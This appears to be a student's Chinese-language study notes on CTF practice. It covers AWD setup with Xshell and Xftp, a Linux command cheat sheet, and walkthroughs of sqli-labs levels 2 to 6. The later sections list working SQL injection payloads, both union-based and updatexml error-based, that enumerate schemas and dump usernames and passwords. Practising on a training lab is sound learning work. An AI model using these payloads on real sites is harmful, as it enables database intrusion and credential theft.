目录
awd 初识
参考https://www.cnblogs.com/xuyangda/p/14687874.html
首先是先用Xshell连接
点击连接,窗口弹出让输入用户和密码。
(开始的时候一直连不上,可以打开cmd窗口,输入ping 主机,看一看有无反应)
打开Xftp,将下列文件压缩一下,传到自己电脑上。
(然后做到这里服务器关了,就没往下继续做了)
下面在本机上用D盾扫描一下刚刚那个文件,找到漏洞,修补。
linux 相关命令
ls
列出文件或者目录的信息
-a:显示所有文件及目录(含隐藏文件)。
-t:将文件依修改时间排序,愈新的愈排前面。
-A:同 -a 相似,但不列出“.”及“..”文件
-l:使用长格式,除文件名外,还显示文件的类型(d:目录,c:字符型设备,b:块设备,p:命名管道,f:一般文件,l:符号链接,s:套接字)、权限、硬链接的个数、所有者名、群组名、文件大小(单位为字节)、修改时间等详细信息;
-F:在列出的文件名后以符号表示文件类型,一般文件之后不加符号,可执行文件加“*”,目录加“/”,符号链接加“@”,管道加“|”,套接字加“=”。
-R:若目录下有文件,则递归地列出目录下的文件。
mkdir
创建目录
-p:若要建立的目录的上层目录尚未建立,则一并建立。
rmdir
删除空目录
-p, 当删除指定目录后,如果该目录的父目录也变成了空目录,则将其一并删除。
cd
切换工作目录
pwd
显示当前目录的绝对路径
tar
压缩 tar <主选项> [辅选项] <文件或者目录>
-c:创建新的备份文件。
-r:将要存档的文件追加到备份文件的末尾。
-t:列出备份文件的内容,查看已经对哪些文件进行了备份。
-u:更新备份。
-x:从备份文件中释放文件。
-f:指定备份文件或设备。
-k:保存已经存在的文件。
-m:在还原文件时,把所有文件的修改时间设定为当前时间。
-v:详细报告tar处理的文件信息。
-w:每一步都要求确认。
-z:用gzip来压缩/解压缩文件。
gzip
gzip [选项] <压缩(解压缩)文件名>
-d或者--decompress:解压,默认为压缩。
-l:对每个压缩文件,显示下列字段——压缩文件的大小、未压缩文件的大小、压缩比、未压缩文件的名字
-r:递归地查找指定目录并压缩(或解压缩)其中的所有文件。
-v:列出压缩或解压文件的详细信息。
unzip
用unzip命令解压扩展名为.zip的压缩文件。
格式:unzip [选项] <压缩文件名>
该命令主要选项的含义如下:
-d <目录>:把压缩文件解压到指定目录下,默认解压到当前目录下。
-n:不覆盖已经存在的文件。
-o:覆盖已存在的文件且不要求用户确认。
-v:查看压缩文件,但不解压。
sqli-labs
less-2
第一关为字符型注入,我们试着输入同样的东西试试。
可以判断它为整形注入。
用order by试试它有多少个字段。
发现有3个字段。联合查询,查找一下数据库名称。
下一步在数据库security里列出所有表
下一步想要得到表users的信息。
less-3
猜想:('输入内容')
?id=1')--+
?id=1') order by 3--+
?id=0') union select 1,2,3--+
?id=0') union select 1,database(),version()--+
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=0') union select 1,2,group_concat(username ,id , password) from users--+
less-4
输入一个双引号,发现报错信息。
可得sql语句是双引号字符型且有括号。
?id=1") order by 3--+
?id=0") union select 1,1,1--+
?id=0") union select 1,database(),version()--+
?id=0") union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=0") union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=0") union select 1,1,group_concat(username ,id , password) from users--+
less-5
发现没有回显查询信息,可以利用报错注入
参考https://blog.csdn.net/weixin_46145442/article/details/110254238
?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+
?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+
less-6
双引号注入,与上一题类似
?id=1" and updatexml(1,concat(0x7e,(select database())),1) --+
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+
?id=1" and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+